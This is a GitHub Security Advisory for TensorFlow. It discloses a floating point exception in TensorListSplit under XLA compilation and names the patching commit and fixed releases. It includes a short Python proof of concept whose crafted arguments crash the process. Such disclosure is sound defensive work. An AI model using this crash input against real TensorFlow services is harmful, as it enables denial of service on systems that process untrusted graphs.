GHSA-647v-r7qq-24fh
GitHub Security Advisory
TensorFlow has Floating Point Exception in TensorListSplit with XLA
Advisory Details
### Impact
FPE in TensorListSplit with XLA
```python
import tensorflow as tf
func = tf.raw_ops.TensorListSplit
para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]}
@tf.function(jit_compile=True)
def fuzz_jit():
y = func(**para)
return y
print(fuzz_jit())
```
### Patches
We have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa).
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by r3pwnx
Affected Packages
Related CVEs
Key Information
Dataset
Data from GitHub Advisory Database. This information is provided for research and educational purposes.